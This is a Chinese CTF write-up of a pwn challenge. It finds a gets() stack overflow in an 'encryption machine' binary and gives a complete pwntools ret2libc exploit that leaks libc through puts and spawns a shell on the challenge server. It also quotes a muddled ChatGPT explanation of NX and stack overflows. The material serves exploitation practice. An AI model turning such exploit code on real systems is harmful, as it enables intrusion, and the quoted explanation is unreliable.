目录
我觉得这道题还是比较好的,所以我就想着分享分享
思路
root@TOM:/mnt/c/users/32566/desktop# checksec pwn [*] '/mnt/c/users/32566/desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
开启了nx
保护,64位,拖入ida
,进入main函数,我会给大家分析代码,这道题的亮点就在代码上。
int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); //int begin() //{ //puts("===================================================================="); //puts("1.Encrypt"); //puts("2.Decrypt"); //puts("3.Exit"); //return puts("Input your choice!"); //} 这是begin函数里面的内容 while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return 0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; }
此程序给你了三个选项分别是:1.Encrypt 2.Decrypt 3.Exit
,假如你选择1,直接会进入加密部分,假如你选择2会让你重新选择,咱们进入encrypt看看
int encrypt() { size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xCu; } else { s[x] ^= 0xDu; } } else { s[x] ^= 0xEu; } ++x; } puts("Ciphertext"); return puts(s); }
你可以在里面看到gets函数,这个就是溢出点,假如你通过gets进行溢出的话,里面的内容是会被改变的。我刚开始做这道题的时候,问了一下chatgpt
,栈溢出后程序是不是就崩坏了,我就这么想的,但是打的时候没打通,然后我查看Mr_Fmnwon的wp
,发现即使栈溢出了,它还是会将此程序执行完毕,然后我运行此程序发现确实是这样的。
root@TOM:/mnt/c/users/32566/desktop# cyclic 88 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa root@TOM:/mnt/c/users/32566/desktop# ./pwn EEEEEEE hh iii EE mm mm mmmm aa aa cccc hh nn nnn eee EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ==================================================================== Welcome to this Encryption machine ==================================================================== 1.Encrypt 2.Decrypt 3.Exit Input your choice! aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa Something Wrong!
你可以看到最后打印出来something wrong,目前我学的知识有限只能这样解释。这个是我问chatgpt
的结果,看来和我想的一样。
做pwn的一些题,只开了nx保护,栈溢出后程序会执行完不? chatgpt:在做一些 pwn 题目时,如果程序只开启了 NX (No eXecute) 保护,而没有启用其他保护机制(如堆栈随机化 ASLR、堆保护、堆栈保护等),在发生栈溢出时,程序可能会继续执行完毕。 开启 NX 保护会防止在可执行内存上执行恶意代码,但并不会阻止栈溢出。因此,如果程序存在栈溢出漏洞且只开启了 NX 保护,攻击者可以通过溢出覆盖返回地址等方式来控制程序的执行流程。在这种情况下,程序可能会执行攻击者精心构造的恶意代码,而不是正常的程序流程。 因此,如果在做 pwn 题目时,程序只开启了 NX 保护而没有其他保护机制,栈溢出后程序有可能继续执行完毕,但会执行攻击者注入的恶意代码,而不是原本的正常代码流。
那么gets后面的代码确实会被执行。后面进行的是加密操作;假如s[x] <= 96 || s[x] > 122 会接着执行里面的if条件语句,如果s[x] <= 96 || s[x] > 122 不成立,那么会将s[x] 与0xEu
进行异或,假如 s[x] <= 64 || s[x] > 90不成立,则 s[x] 与0xDu
进行抑或,假如s[x] > 47 && s[x] <= 57成立,会将s[x]与 0xCu
进行异或,你也可以认为此为加密过程;if ( v0 >= strlen(s) )
里面有一个strlen
函数,这个是计算字符串长度的,在'\x00'
处会停止,不包括'\x00'
所以咱们可以构造一个空字符串来绕过加密,这样就不会对我们的payload进行造成破坏了。
没有后门函数;没有system,binsh
有puts函数那么我们就可以用ret2libc
。
exp
from pwn import* from LibcSearcher import* context(os='linux',arch='amd64',log_level='debug') #p=process('./pwn') p=remote('node5.anna.nssctf.cn',22414) elf=ELF('./pwn') ret=0x00000000004006b9 rdi=0x0000000000400c83 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] encrypt_addr=elf.sym['encrypt'] p.recvuntil(b"Input your choice!\n") p.sendline(b"1") #gdb.attach(p) payload=b'\x00'+cyclic(0x50+7)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr) p.recvuntil(b"Input your Plaintext to be encrypted\n") p.sendline(payload) puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("puts",hex(puts)) libc=LibcSearcher('puts',puts) libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') binsh=libc_base+libc.dump('str_bin_sh') payload=b'\x00'+cyclic(0x50+7)+p64(rdi)+p64(binsh)+p64(ret)+p64(system) p.sendline(payload) p.interactive()
结果
链接:https://pan.baidu.com/s/1Pd6ZCdwuE_CasB52VcDdyQ?pwd=a61z
提取码:a61z 假如你有typora应用的话,你可以用它看,比较美观。